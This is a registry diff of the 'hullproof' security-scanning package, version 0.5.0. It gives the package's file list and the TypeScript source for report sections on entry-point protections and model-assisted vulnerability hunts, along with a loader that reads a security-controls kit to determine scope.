hullproof 0.0.0-stage → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (363) hide show
  1. package/LICENSE +222 -0
  2. package/NOTICE +32 -0
  3. package/README.md +313 -2
  4. package/checks/db.firebase-rules-not-open.json +24 -0
  5. package/checks/db.rls-every-table.json +25 -0
  6. package/checks/log.no-credential-in-logs.json +30 -0
  7. package/checks/secrets.no-env-file-committed.json +31 -0
  8. package/checks/secrets.no-secret-in-public-env.json +37 -0
  9. package/checks/storage.firebase-rules-not-open.json +22 -0
  10. package/checks/supply.no-untrusted-event-in-run.json +23 -0
  11. package/checks/web.cors-no-reflected-origin.json +31 -0
  12. package/detectors/ai.json +25 -0
  13. package/detectors/auth.json +27 -0
  14. package/detectors/ci.json +19 -0
  15. package/detectors/containers.json +8 -0
  16. package/detectors/data_stores.json +38 -0
  17. package/detectors/frameworks.json +94 -0
  18. package/detectors/hosting.json +44 -0
  19. package/detectors/iac.json +43 -0
  20. package/detectors/languages.json +48 -0
  21. package/detectors/mobile.json +22 -0
  22. package/detectors/package_managers.json +39 -0
  23. package/detectors/payments.json +19 -0
  24. package/detectors/runtimes.json +17 -0
  25. package/dist/checks/code/admin-role.js +46 -0
  26. package/dist/checks/code/owner-filter.js +91 -0
  27. package/dist/checks/code/shared.js +84 -0
  28. package/dist/checks/code/webhook-verify.js +77 -0
  29. package/dist/checks/context.js +64 -0
  30. package/dist/checks/map/config-checks.js +74 -0
  31. package/dist/checks/map/entry-checks.js +97 -0
  32. package/dist/checks/map/shared.js +44 -0
  33. package/dist/checks/ops.js +307 -0
  34. package/dist/checks/pro-map.js +1 -0
  35. package/dist/checks/run.js +92 -0
  36. package/dist/checks/types.js +1 -0
  37. package/dist/ci/comment.js +44 -0
  38. package/dist/ci/sarif-check.js +157 -0
  39. package/dist/ci/sarif.js +61 -0
  40. package/dist/cli.js +358 -0
  41. package/dist/commands/ci.js +115 -0
  42. package/dist/commands/git.js +58 -0
  43. package/dist/commands/hooks.js +30 -0
  44. package/dist/commands/hunt-pro.js +1 -0
  45. package/dist/commands/hunt.js +86 -0
  46. package/dist/commands/map.js +33 -0
  47. package/dist/commands/mcp.js +17 -0
  48. package/dist/commands/pack.js +48 -0
  49. package/dist/commands/prove-pro.js +1 -0
  50. package/dist/commands/prove.js +173 -0
  51. package/dist/commands/report-gate.js +92 -0
  52. package/dist/commands/scan.js +158 -0
  53. package/dist/confirm/agreement.js +18 -0
  54. package/dist/confirm/chain.js +84 -0
  55. package/dist/confirm/confirm.js +112 -0
  56. package/dist/confirm/honesty.js +75 -0
  57. package/dist/confirm/lead.js +92 -0
  58. package/dist/confirm/merge.js +88 -0
  59. package/dist/confirm/query.js +145 -0
  60. package/dist/confirm/rule.js +86 -0
  61. package/dist/confirm/store.js +42 -0
  62. package/dist/confirm/summary.js +6 -0
  63. package/dist/confirm/synthesis.js +28 -0
  64. package/dist/discover/detectors.js +50 -0
  65. package/dist/discover/discover.js +270 -0
  66. package/dist/discover/extract.js +282 -0
  67. package/dist/discover/git.js +40 -0
  68. package/dist/discover/kit-files.js +47 -0
  69. package/dist/discover/walk.js +110 -0
  70. package/dist/env.js +57 -0
  71. package/dist/gate/gate.js +173 -0
  72. package/dist/hooks/install.js +153 -0
  73. package/dist/hooks/run.js +112 -0
  74. package/dist/map/analyze.js +201 -0
  75. package/dist/map/build.js +253 -0
  76. package/dist/map/candidates.js +49 -0
  77. package/dist/map/cblocks.js +77 -0
  78. package/dist/map/config.js +291 -0
  79. package/dist/map/dotnet.js +242 -0
  80. package/dist/map/entry.js +78 -0
  81. package/dist/map/expo.js +190 -0
  82. package/dist/map/go.js +292 -0
  83. package/dist/map/js-express.js +143 -0
  84. package/dist/map/js-misc.js +295 -0
  85. package/dist/map/js-next.js +292 -0
  86. package/dist/map/laravel.js +389 -0
  87. package/dist/map/lex-more.js +305 -0
  88. package/dist/map/lex.js +425 -0
  89. package/dist/map/light-index.js +191 -0
  90. package/dist/map/light-profiles.js +324 -0
  91. package/dist/map/light.js +574 -0
  92. package/dist/map/local-vocab.js +27 -0
  93. package/dist/map/mobile.js +326 -0
  94. package/dist/map/py-django.js +281 -0
  95. package/dist/map/py.js +391 -0
  96. package/dist/map/rails.js +391 -0
  97. package/dist/map/repo.js +178 -0
  98. package/dist/map/rust.js +312 -0
  99. package/dist/map/spring.js +207 -0
  100. package/dist/map/taint.js +96 -0
  101. package/dist/map/touches.js +355 -0
  102. package/dist/map/vocab.js +88 -0
  103. package/dist/mapping/controls.js +34 -0
  104. package/dist/mapping/dependency-policy.js +44 -0
  105. package/dist/mapping/map.js +44 -0
  106. package/dist/mapping/maps/gitleaks.json +12 -0
  107. package/dist/mapping/maps/osv-scanner.json +7 -0
  108. package/dist/mapping/maps/trivy.json +13 -0
  109. package/dist/mcp/confine.js +59 -0
  110. package/dist/mcp/protocol.js +140 -0
  111. package/dist/mcp/schema.js +43 -0
  112. package/dist/mcp/server.js +37 -0
  113. package/dist/mcp/tools.js +238 -0
  114. package/dist/packs/coverage.js +79 -0
  115. package/dist/packs/manifest.js +36 -0
  116. package/dist/packs/validate.js +271 -0
  117. package/dist/prove/container.js +276 -0
  118. package/dist/prove/exec-main.js +20 -0
  119. package/dist/prove/executor.js +149 -0
  120. package/dist/prove/local.js +131 -0
  121. package/dist/prove/probes.js +65 -0
  122. package/dist/prove/recipe.js +278 -0
  123. package/dist/prove/run.js +136 -0
  124. package/dist/prove/runner.js +1 -0
  125. package/dist/prove/safety.js +126 -0
  126. package/dist/prove/spec.js +357 -0
  127. package/dist/prove/store.js +65 -0
  128. package/dist/report/build.js +297 -0
  129. package/dist/report/entry-points.js +75 -0
  130. package/dist/report/hunt-section.js +71 -0
  131. package/dist/report/kit.js +41 -0
  132. package/dist/report/load.js +35 -0
  133. package/dist/report/messages.js +273 -0
  134. package/dist/report/prove-section.js +65 -0
  135. package/dist/report/report.js +156 -0
  136. package/dist/report/surface.js +21 -0
  137. package/dist/report/test-code.js +51 -0
  138. package/dist/report/tiers.js +44 -0
  139. package/dist/scanners/common.js +162 -0
  140. package/dist/scanners/gitleaks.js +90 -0
  141. package/dist/scanners/index.js +113 -0
  142. package/dist/scanners/osv-scanner.js +77 -0
  143. package/dist/scanners/run-targets.js +34 -0
  144. package/dist/scanners/secret-noise.js +89 -0
  145. package/dist/scanners/semgrep.js +142 -0
  146. package/dist/scanners/trivy.js +65 -0
  147. package/dist/scanners/types.js +1 -0
  148. package/dist/types/check.js +1 -0
  149. package/dist/types/codemap.js +1 -0
  150. package/dist/types/findings.js +5 -0
  151. package/dist/types/hunt.js +1 -0
  152. package/dist/types/index.js +1 -0
  153. package/dist/types/prove.js +1 -0
  154. package/dist/types/results.js +2 -0
  155. package/dist/types/scan.js +1 -0
  156. package/dist/types/stack.js +5 -0
  157. package/dist/util.js +71 -0
  158. package/dist/version.js +2 -0
  159. package/package.json +46 -4
  160. package/packs/android/fixture-result.json +43 -0
  161. package/packs/android/pack.json +56 -0
  162. package/packs/dotnet/fixture-result.json +62 -0
  163. package/packs/dotnet/pack.json +88 -0
  164. package/packs/expo/answer-key.json +51 -0
  165. package/packs/expo/fixture-result.json +62 -0
  166. package/packs/expo/pack.json +79 -0
  167. package/packs/firebase/answer-key.json +27 -0
  168. package/packs/firebase/fixture-result.json +43 -0
  169. package/packs/firebase/pack.json +58 -0
  170. package/packs/go/answer-key.json +101 -0
  171. package/packs/go/fixture-result.json +64 -0
  172. package/packs/go/pack.json +99 -0
  173. package/packs/ios/fixture-result.json +43 -0
  174. package/packs/ios/pack.json +55 -0
  175. package/packs/laravel/answer-key.json +84 -0
  176. package/packs/laravel/fixture-result.json +60 -0
  177. package/packs/laravel/pack.json +91 -0
  178. package/packs/node-ts/answer-key.json +220 -0
  179. package/packs/node-ts/fixture-result.json +114 -0
  180. package/packs/node-ts/pack.json +134 -0
  181. package/packs/python/answer-key.json +195 -0
  182. package/packs/python/fixture-result.json +119 -0
  183. package/packs/python/pack.json +121 -0
  184. package/packs/rails/answer-key.json +84 -0
  185. package/packs/rails/fixture-result.json +60 -0
  186. package/packs/rails/pack.json +78 -0
  187. package/packs/rust/fixture-result.json +43 -0
  188. package/packs/rust/pack.json +69 -0
  189. package/packs/spring/fixture-result.json +63 -0
  190. package/packs/spring/pack.json +103 -0
  191. package/packs/supabase/answer-key.json +52 -0
  192. package/packs/supabase/fixture-result.json +58 -0
  193. package/packs/supabase/pack.json +60 -0
  194. package/rules/gitleaks.toml +256 -0
  195. package/rules/semgrep/api-route-no-auth.yaml +31 -0
  196. package/rules/semgrep/cors-reflect-origin.yaml +48 -0
  197. package/rules/semgrep/eval-or-new-function.yaml +185 -0
  198. package/rules/semgrep/log-session-token.yaml +48 -0
  199. package/rules/semgrep/math-random-tokens.yaml +24 -0
  200. package/rules/semgrep/next-public-secret-name.yaml +32 -0
  201. package/rules/semgrep/postgrest-filter-injection.yaml +78 -0
  202. package/rules/semgrep/raw-sql-concat.yaml +42 -0
  203. package/rules/semgrep/read-by-id-no-owner.yaml +49 -0
  204. package/rules/semgrep/server-action-no-auth.yaml +26 -0
  205. package/rules/semgrep/sql-variants.yaml +99 -0
  206. package/rules/semgrep/ssrf-unguarded-url.yaml +137 -0
  207. package/rules/semgrep/subprocess-injection.yaml +163 -0
  208. package/rules/semgrep/taint-go.yaml +333 -0
  209. package/rules/semgrep/taint-java.yaml +317 -0
  210. package/rules/semgrep/taint-javascript.yaml +412 -0
  211. package/rules/semgrep/taint-php.yaml +361 -0
  212. package/rules/semgrep/taint-python.yaml +414 -0
  213. package/rules/semgrep/tool-endpoint-admin-client.yaml +86 -0
  214. package/rules/semgrep/user-metadata-authz.yaml +22 -0
  215. package/rules/semgrep/verify-result-unused.yaml +62 -0
  216. package/rules/semgrep/webhook-parse-before-verify.yaml +29 -0
  217. package/rules/test-artifact-ids.json +4 -0
  218. package/rules/tiers.json +427 -0
  219. package/schemas/check-results.schema.json +55 -0
  220. package/schemas/check.schema.json +41 -0
  221. package/schemas/codemap.schema.json +216 -0
  222. package/schemas/findings.schema.json +1048 -0
  223. package/schemas/hunt-output.schema.json +46 -0
  224. package/schemas/hunt-result.schema.json +58 -0
  225. package/schemas/results.schema.json +17 -0
  226. package/schemas/scan-hits.schema.json +32 -0
  227. package/schemas/scan-meta.schema.json +25 -0
  228. package/schemas/stack.schema.json +93 -0
  229. package/src/checks/README.md +32 -0
  230. package/src/checks/code/admin-role.ts +49 -0
  231. package/src/checks/code/owner-filter.ts +95 -0
  232. package/src/checks/code/shared.ts +66 -0
  233. package/src/checks/code/webhook-verify.ts +75 -0
  234. package/src/checks/context.ts +72 -0
  235. package/src/checks/map/config-checks.ts +79 -0
  236. package/src/checks/map/entry-checks.ts +116 -0
  237. package/src/checks/map/shared.ts +63 -0
  238. package/src/checks/ops.ts +280 -0
  239. package/src/checks/pro-map.ts +4 -0
  240. package/src/checks/run.ts +80 -0
  241. package/src/checks/types.ts +12 -0
  242. package/src/ci/comment.ts +52 -0
  243. package/src/ci/sarif-check.ts +100 -0
  244. package/src/ci/sarif.ts +72 -0
  245. package/src/cli.ts +273 -0
  246. package/src/commands/ci.ts +104 -0
  247. package/src/commands/git.ts +59 -0
  248. package/src/commands/hooks.ts +27 -0
  249. package/src/commands/hunt-pro.ts +4 -0
  250. package/src/commands/hunt.ts +68 -0
  251. package/src/commands/map.ts +27 -0
  252. package/src/commands/mcp.ts +18 -0
  253. package/src/commands/pack.ts +34 -0
  254. package/src/commands/prove-pro.ts +4 -0
  255. package/src/commands/prove.ts +126 -0
  256. package/src/commands/report-gate.ts +75 -0
  257. package/src/commands/scan.ts +156 -0
  258. package/src/confirm/agreement.ts +23 -0
  259. package/src/confirm/chain.ts +67 -0
  260. package/src/confirm/confirm.ts +107 -0
  261. package/src/confirm/honesty.ts +65 -0
  262. package/src/confirm/lead.ts +76 -0
  263. package/src/confirm/merge.ts +89 -0
  264. package/src/confirm/query.ts +126 -0
  265. package/src/confirm/rule.ts +76 -0
  266. package/src/confirm/store.ts +42 -0
  267. package/src/confirm/summary.ts +9 -0
  268. package/src/confirm/synthesis.ts +33 -0
  269. package/src/discover/detectors.ts +71 -0
  270. package/src/discover/discover.ts +253 -0
  271. package/src/discover/extract.ts +235 -0
  272. package/src/discover/git.ts +31 -0
  273. package/src/discover/kit-files.ts +37 -0
  274. package/src/discover/walk.ts +88 -0
  275. package/src/env.ts +51 -0
  276. package/src/gate/gate.ts +169 -0
  277. package/src/hooks/install.ts +142 -0
  278. package/src/hooks/run.ts +121 -0
  279. package/src/map/analyze.ts +219 -0
  280. package/src/map/build.ts +206 -0
  281. package/src/map/candidates.ts +47 -0
  282. package/src/map/cblocks.ts +55 -0
  283. package/src/map/config.ts +207 -0
  284. package/src/map/dotnet.ts +205 -0
  285. package/src/map/entry.ts +80 -0
  286. package/src/map/expo.ts +171 -0
  287. package/src/map/go.ts +271 -0
  288. package/src/map/js-express.ts +135 -0
  289. package/src/map/js-misc.ts +221 -0
  290. package/src/map/js-next.ts +282 -0
  291. package/src/map/laravel.ts +327 -0
  292. package/src/map/lex-more.ts +152 -0
  293. package/src/map/lex.ts +274 -0
  294. package/src/map/light-index.ts +134 -0
  295. package/src/map/light-profiles.ts +363 -0
  296. package/src/map/light.ts +484 -0
  297. package/src/map/local-vocab.ts +30 -0
  298. package/src/map/mobile.ts +263 -0
  299. package/src/map/py-django.ts +239 -0
  300. package/src/map/py.ts +329 -0
  301. package/src/map/rails.ts +291 -0
  302. package/src/map/repo.ts +150 -0
  303. package/src/map/rust.ts +256 -0
  304. package/src/map/spring.ts +185 -0
  305. package/src/map/taint.ts +86 -0
  306. package/src/map/touches.ts +296 -0
  307. package/src/map/vocab.ts +106 -0
  308. package/src/mapping/controls.ts +47 -0
  309. package/src/mapping/dependency-policy.ts +55 -0
  310. package/src/mapping/map.ts +59 -0
  311. package/src/mapping/maps/gitleaks.json +12 -0
  312. package/src/mapping/maps/osv-scanner.json +7 -0
  313. package/src/mapping/maps/trivy.json +13 -0
  314. package/src/mcp/confine.ts +44 -0
  315. package/src/mcp/protocol.ts +144 -0
  316. package/src/mcp/schema.ts +35 -0
  317. package/src/mcp/server.ts +32 -0
  318. package/src/mcp/tools.ts +235 -0
  319. package/src/packs/coverage.ts +98 -0
  320. package/src/packs/manifest.ts +97 -0
  321. package/src/packs/validate.ts +204 -0
  322. package/src/prove/container.ts +237 -0
  323. package/src/prove/exec-main.ts +16 -0
  324. package/src/prove/executor.ts +130 -0
  325. package/src/prove/local.ts +100 -0
  326. package/src/prove/probes.ts +68 -0
  327. package/src/prove/recipe.ts +215 -0
  328. package/src/prove/run.ts +124 -0
  329. package/src/prove/runner.ts +28 -0
  330. package/src/prove/safety.ts +98 -0
  331. package/src/prove/spec.ts +256 -0
  332. package/src/prove/store.ts +48 -0
  333. package/src/report/build.ts +304 -0
  334. package/src/report/entry-points.ts +78 -0
  335. package/src/report/hunt-section.ts +67 -0
  336. package/src/report/kit.ts +59 -0
  337. package/src/report/load.ts +49 -0
  338. package/src/report/messages.ts +270 -0
  339. package/src/report/prove-section.ts +61 -0
  340. package/src/report/report.ts +160 -0
  341. package/src/report/surface.ts +32 -0
  342. package/src/report/test-code.ts +56 -0
  343. package/src/report/tiers.ts +50 -0
  344. package/src/scanners/common.ts +149 -0
  345. package/src/scanners/gitleaks.ts +89 -0
  346. package/src/scanners/index.ts +103 -0
  347. package/src/scanners/osv-scanner.ts +90 -0
  348. package/src/scanners/run-targets.ts +35 -0
  349. package/src/scanners/secret-noise.ts +80 -0
  350. package/src/scanners/semgrep.ts +139 -0
  351. package/src/scanners/trivy.ts +66 -0
  352. package/src/scanners/types.ts +98 -0
  353. package/src/types/check.ts +52 -0
  354. package/src/types/codemap.ts +142 -0
  355. package/src/types/findings.ts +107 -0
  356. package/src/types/hunt.ts +97 -0
  357. package/src/types/index.ts +10 -0
  358. package/src/types/prove.ts +83 -0
  359. package/src/types/results.ts +15 -0
  360. package/src/types/scan.ts +63 -0
  361. package/src/types/stack.ts +61 -0
  362. package/src/util.ts +59 -0
  363. package/src/version.ts +2 -0
@@ -0,0 +1,78 @@
1
+ // The "Entry points and what protects them" section of report.md, built from codemap.json. Same map, same bytes.
2
+ import type { CodeMap, EntryPoint, Protection, ProtectionKind } from '../types/index.ts';
3
+ import { cmp } from '../util.ts';
4
+
5
+ export const MAX_TABLE_ROWS = 300;
6
+ const cell = (s: string): string => s.replace(/\|/g, '\\|').replace(/\n/g, ' ');
7
+
8
+ const real = (ep: EntryPoint, kind: ProtectionKind): Protection[] => ep.protections.filter((p) => p.kind === kind);
9
+ // One cell for one protection kind: yes with its confidence, ignored (the code checks and carries on), weak, no.
10
+ export function protectionCell(ep: EntryPoint, kind: ProtectionKind): string {
11
+ const ps = real(ep, kind);
12
+ const good = ps.filter((p) => p.confidence !== 'low' && p.enforced !== false);
13
+ if (good.length) {
14
+ const best = good.some((p) => p.confidence === 'high') ? 'high' : 'medium';
15
+ return `yes (${best})`;
16
+ }
17
+ if (ps.some((p) => p.enforced === false)) return 'ignored';
18
+ if (ps.length) return 'weak';
19
+ return 'no';
20
+ }
21
+
22
+ function rowFor(ep: EntryPoint): string[] {
23
+ const state = ep.tags.includes('state_changing');
24
+ const admin = ep.tags.includes('admin');
25
+ const byId = ep.data.filter((d) => d.by_id);
26
+ const owner = !byId.length ? '-' : byId.every((d) => d.owner_scoped) ? 'yes' : 'no';
27
+ const isWebhook = ep.kind === 'webhook';
28
+ const readsBody = ep.reads.some((r) => r.source === 'body' || r.source === 'form');
29
+ const session = ep.kind === 'ai_tool' || ep.kind === 'job' || ep.kind === 'page' || isWebhook ? '-' : protectionCell(ep, 'session_read');
30
+ return [
31
+ session,
32
+ admin ? protectionCell(ep, 'role_check') : '-',
33
+ owner,
34
+ isWebhook ? protectionCell(ep, 'signature_verify') : '-',
35
+ ep.tags.includes('auth_endpoint') && state ? protectionCell(ep, 'rate_limit') : '-',
36
+ state && readsBody ? protectionCell(ep, 'input_validation') : '-',
37
+ ];
38
+ }
39
+
40
+ const label = (ep: EntryPoint): string => `${ep.method && ep.method !== 'ANY' ? ep.method + ' ' : ''}${ep.path ?? ep.name ?? ep.file}`.trim();
41
+
42
+ export function renderEntryPoints(map: CodeMap): string[] {
43
+ const out: string[] = [];
44
+ const p = (...l: string[]): void => { out.push(...l); };
45
+ const eps = map.entry_points;
46
+ const shipped = eps.filter((e) => !e.test_code);
47
+ p('## Entry points and what protects them', '');
48
+ p('The code map lists every entry point the engine could find by reading the code: HTTP routes, webhooks, server actions, jobs, AI tools and similar. It comes from pattern reading, not from running the app, so each cell below is a place to look and not a proof. "yes" means the engine found that protection on the entry point, with the confidence of the match. "ignored" means the code checks and then carries on. "weak" means only a sign such as a cookie being present. "-" means the column does not apply.', '');
49
+ p('| Language | Files | Status | Entry points | Note |', '|---|---|---|---|---|');
50
+ if (map.coverage.length === 0) p('| none | 0 | | 0 | No source language was found. |');
51
+ for (const c of map.coverage) p(`| ${c.language} | ${c.files} | ${c.status === 'mapped' ? 'mapped' : c.status === 'partial' ? 'partly mapped' : 'not mapped'} | ${c.entry_points} | ${cell(c.note)} |`);
52
+ p('');
53
+ const incomplete = map.coverage.filter((c) => c.status !== 'mapped');
54
+ if (incomplete.length) p(`The code map is incomplete for ${incomplete.map((c) => c.language).join(', ')}. Entry points in those files are not listed, and the checks that read the map did not look at them.`, '');
55
+
56
+ const kinds = Object.entries(map.counts.by_kind).map(([k, n]) => `${n} ${k.replace(/_/g, ' ')}`).join(', ');
57
+ const state = shipped.filter((e) => e.tags.includes('state_changing') && ['http_route', 'server_action', 'graphql_resolver', 'rpc'].includes(e.kind));
58
+ const noSession = state.filter((e) => !e.tags.includes('auth_endpoint') && !e.tags.includes('public') && protectionCell(e, 'session_read') !== 'yes (high)' && protectionCell(e, 'session_read') !== 'yes (medium)');
59
+ const admins = shipped.filter((e) => e.tags.includes('admin') && ['http_route', 'server_action', 'graphql_resolver', 'rpc'].includes(e.kind));
60
+ const noRole = admins.filter((e) => !protectionCell(e, 'role_check').startsWith('yes'));
61
+ const hooks = shipped.filter((e) => e.kind === 'webhook');
62
+ const badHooks = hooks.filter((e) => !protectionCell(e, 'signature_verify').startsWith('yes'));
63
+ p(`1. Entry points: ${map.counts.entry_points}${kinds ? ` (${kinds})` : ''}. In test code and left out of the checks: ${eps.length - shipped.length}.`);
64
+ p(`2. State changing entry points: ${state.length}. Without a session read the engine can see: ${noSession.length}.`);
65
+ p(`3. Entry points in an admin area: ${admins.length}. Without a role check the engine can see: ${noRole.length}.`);
66
+ p(`4. Webhooks: ${hooks.length}. Without a signature check that stops the request: ${badHooks.length}.`);
67
+ p('5. Gates (middleware, guards, router dependencies): ' + map.gates.length + '.', '');
68
+
69
+ p('| Entry point | Kind | Where | Session | Role | Owner | Signature | Rate limit | Schema |', '|---|---|---|---|---|---|---|---|---|');
70
+ const rows = eps.slice().sort((a, b) => cmp(a.file, b.file) || a.line - b.line || cmp(a.id, b.id)).slice(0, MAX_TABLE_ROWS);
71
+ for (const ep of rows) {
72
+ const r = rowFor(ep);
73
+ p(`| ${cell(label(ep))}${ep.test_code ? ' (test code)' : ''} | ${ep.kind.replace(/_/g, ' ')} | \`${ep.file}:${ep.line}\` | ${r.join(' | ')} |`);
74
+ }
75
+ if (eps.length > rows.length) p('', `${eps.length - rows.length} more entry points are in codemap.json.`);
76
+ p('');
77
+ return out;
78
+ }
@@ -0,0 +1,67 @@
1
+ // The hunt part of report.md: confirmed findings with their evidence, leads, incomplete hunts and the hallucination count.
2
+ // Built from the hunt files only. Same files, same bytes.
3
+ import type { HuntResult, HuntSynthesis, LeadOut } from '../types/index.ts';
4
+ import type { Merged } from '../confirm/merge.ts';
5
+ import { readableKey } from '../confirm/agreement.ts';
6
+ import { cmp } from '../util.ts';
7
+
8
+ export interface HuntFiles { result: HuntResult | null; synthesis: HuntSynthesis | null; skipped: string | null }
9
+ const loc = (e: { file: string; line: number }): string => `\`${e.file}:${e.line}\``;
10
+ const METHOD: Record<string, string> = { map_query: 'a query over the code map', semgrep_rule: 'a generated Semgrep rule and a negative control', sandbox_test: 'a test run in a local sandbox, 3 of 3 runs' };
11
+
12
+ export function renderHunt(h: HuntFiles, merged: Merged | null): string[] {
13
+ const out: string[] = [];
14
+ const p = (...l: string[]): void => { out.push(...l); };
15
+ if (!h.result) {
16
+ if (h.skipped) p('## Hunt', '', `Hunt: not run, ${h.skipped}.`, '');
17
+ return out;
18
+ }
19
+ const r = h.result;
20
+ const syn = new Map((h.synthesis?.explanations ?? []).map((e) => [e.key, e.text]));
21
+ const gateSet = new Set((merged?.inGate ?? []).map((c) => c.key));
22
+ const provenSet = new Set((merged?.proven ?? []).map((c) => c.key));
23
+ p('## Hunt: leads and confirmed findings', '');
24
+ p('A model proposed these and the engine checked them. Only a lead that the engine confirmed with evidence a machine can re run is a finding. Every other lead is listed for a person to read and can never hold or release the gate. The number of runs that raised a lead only orders the list.', '');
25
+ p(`1. Runs: ${r.runs}. Entry points hunted: ${r.entries_hunted}. Calls: ${r.calls.complete} complete, ${r.calls.incomplete} incomplete, ${r.calls.missing} never saved.`);
26
+ p(`2. Confirmed findings: ${r.confirmed.length}. Leads not confirmed: ${r.leads.length}.`);
27
+ p(`3. Hallucinations (leads that cited code that is not there, dropped): ${r.hallucinations.count}. Malformed leads (dropped): ${r.malformed.count}.`);
28
+ p(`4. Tokens used, reported and not limited: ${r.usage.input_tokens} in, ${r.usage.output_tokens} out, over ${r.usage.calls} calls.`, '');
29
+ if (h.synthesis) {
30
+ p('### Summary of all runs', '');
31
+ p(h.synthesis.status === 'complete' ? (h.synthesis.summary || 'The synthesis step returned no summary.') : `The synthesis step did not finish (${h.synthesis.stop ?? 'stopped'}). It only explains, so no finding is affected.`, '');
32
+ }
33
+ const conf = (c: LeadOut, i: number): void => {
34
+ const e = c.confirmation;
35
+ p(`#### H-${i + 1} ${c.claim}${c.claim_truncated ? ' (claim shortened to the limit)' : ''}`, '');
36
+ p(`Where: ${c.path.map(loc).join(' to ')}. Requirements: ${c.requirement_ids.join(', ') || 'none named'}. Raised in ${c.runs_raised} of ${r.runs} runs.`);
37
+ if (e.status === 'confirmed') p(`Evidence: confirmed by ${METHOD[e.method]} (${e.tool} ${e.tool_version}, ${e.rule_id}). ${e.detail}.`);
38
+ if (provenSet.has(c.key)) p('Proven by a test in the sandbox: yes, see the proof sandbox section.');
39
+ p(gateSet.has(c.key) ? 'Counts in the gate: yes, as a fail record with machine evidence.' : 'Counts in the gate: no, none of its requirements is in this run\'s scope (or it names none).');
40
+ if (syn.has(c.key)) p(`Explanation: ${syn.get(c.key)}`);
41
+ p('');
42
+ };
43
+ if (r.confirmed.length) { p('### Confirmed findings', ''); r.confirmed.forEach(conf); }
44
+ if (r.leads.length) {
45
+ p('### Leads (not confirmed, never in the gate)', '');
46
+ p('| Raised in | Where | Requirements | Claim | Why not confirmed |', '|---|---|---|---|---|');
47
+ for (const l of r.leads) {
48
+ const why = provenSet.has(l.key) ? 'proven by a test in the sandbox, see the proof sandbox section' : l.confirmation.status === 'confirmed' ? '' : l.confirmation.detail;
49
+ p(`| ${l.runs_raised} of ${r.runs} runs | ${loc(l.sink)} | ${l.requirement_ids.join(', ') || 'none named'} | ${l.claim_truncated ? '(claim shortened) ' : ''}${l.claim.replace(/\|/g, '\\|')}${syn.has(l.key) ? ' Explanation: ' + syn.get(l.key)!.replace(/\|/g, '\\|') : ''} | ${why.replace(/\|/g, '\\|')} |`);
50
+ }
51
+ p('');
52
+ }
53
+ if (r.incomplete.length) {
54
+ p('### Incomplete hunts', '', 'These calls did not finish. A provider stop (a refusal, a safety stop, a rate limit, a timeout) is recorded and never retried around, so the entry point below was not fully hunted in that run.', '');
55
+ p('| Run | Entry point | Why |', '|---|---|---|');
56
+ for (const i of r.incomplete.slice().sort((a, b) => a.run - b.run || cmp(a.entry_id, b.entry_id))) p(`| ${i.run} | ${i.entry_id.replace(/\|/g, '\\|')} | ${i.stop}${i.detail ? ': ' + i.detail.replace(/\|/g, '\\|') : ''} |`);
57
+ p('');
58
+ }
59
+ if (r.hallucinations.count) {
60
+ p('### Dropped as hallucinations', '');
61
+ for (const x of r.hallucinations.items.slice(0, 30)) p(`- Run ${x.run}, ${readableKey(x.entry_id)}: ${x.reason}.`);
62
+ if (r.hallucinations.count > 30) p(`- and ${r.hallucinations.count - 30} more (all are in hunt/result.json).`);
63
+ p('');
64
+ }
65
+ if (merged?.outOfScope.length) p(`${merged.outOfScope.length} confirmed finding(s) name no requirement in this run's scope, so they are shown above and are not in the gate.`, '');
66
+ return out;
67
+ }
@@ -0,0 +1,59 @@
1
+ // Finds the Hullproof kit (docs/hullproof and tools/hullproof) and reads the controls file, the source of truth for
2
+ // severity, authority, edition and stage. The engine never copies severities into its own code.
3
+ import { createHash } from 'node:crypto';
4
+ import { existsSync, readFileSync } from 'node:fs';
5
+ import { join, resolve } from 'node:path';
6
+ import { fileURLToPath } from 'node:url';
7
+ import type { Severity } from '../types/index.ts';
8
+
9
+ export const CONTROLS_REL = 'docs/hullproof/security-controls.json';
10
+ export const GATE_REL = 'tools/hullproof/ci/hullproof-gate.mjs';
11
+ export const VALIDATOR_REL = 'tools/hullproof/ci/validate-findings.mjs';
12
+ // The Hullproof Free kit in a folder called hullproof-free next to this repository, used when nothing else names a kit
13
+ // (same default as src/mapping).
14
+ const SIBLING_KIT = fileURLToPath(new URL('../../../hullproof-free/kit/', import.meta.url));
15
+
16
+ export interface Control {
17
+ id: string; title: string; severity: Severity; authority: 'repo' | 'dashboard' | 'runtime'; edition: 'free' | 'pro';
18
+ stage: 'LAUNCH' | 'GROWTH' | 'SCALE'; prelaunch: boolean; status: string; domains: string[]; verification_method: string[];
19
+ }
20
+
21
+ export interface Kit { dir: string; controls: Control[]; byId: Map<string, Control>; controlsSha256: string; standardVersion: string }
22
+
23
+ // Order: --kit, HULLPROOF_KIT, the scanned repository when the kit is installed in it, then the kit next to this repository.
24
+ export function resolveKitDir(repo: string, flag: string | null): string | null {
25
+ const tries = [flag, process.env.HULLPROOF_KIT ?? null, repo, SIBLING_KIT].filter((x): x is string => !!x).map((d) => resolve(d));
26
+ return tries.find((d) => existsSync(join(d, CONTROLS_REL))) ?? null;
27
+ }
28
+
29
+ export function loadKit(dir: string): Kit {
30
+ const raw = readFileSync(join(dir, CONTROLS_REL));
31
+ const doc = JSON.parse(raw.toString('utf8')) as { standard_version?: string; controls: Control[] };
32
+ const controls = doc.controls.filter((c) => c.status === 'active' || c.status === undefined);
33
+ return {
34
+ dir, controls, byId: new Map(controls.map((c) => [c.id, c])),
35
+ controlsSha256: createHash('sha256').update(raw).digest('hex'), standardVersion: String(doc.standard_version ?? 'unknown'),
36
+ };
37
+ }
38
+
39
+ export const STAGES = ['LAUNCH', 'GROWTH', 'SCALE'] as const;
40
+ export type Stage = typeof STAGES[number];
41
+ export type Edition = 'free' | 'pro';
42
+
43
+ export interface Scope { edition: Edition; stage: Stage; stageSource: 'flag' | 'STAGE.md' | 'default' }
44
+
45
+ // A requirement is in scope when its edition is in the run's edition and its stage is at or below the declared stage.
46
+ export function inScope(c: Control, s: Scope): boolean {
47
+ return (s.edition === 'pro' || c.edition === 'free') && STAGES.indexOf(c.stage) <= STAGES.indexOf(s.stage);
48
+ }
49
+
50
+ // The stage from docs/security/STAGE.md ("Stage: GROWTH" or a heading or table cell naming one stage), else LAUNCH.
51
+ export function readStage(repo: string): { stage: Stage; source: 'STAGE.md' | 'default' } {
52
+ const p = join(repo, 'docs/security/STAGE.md');
53
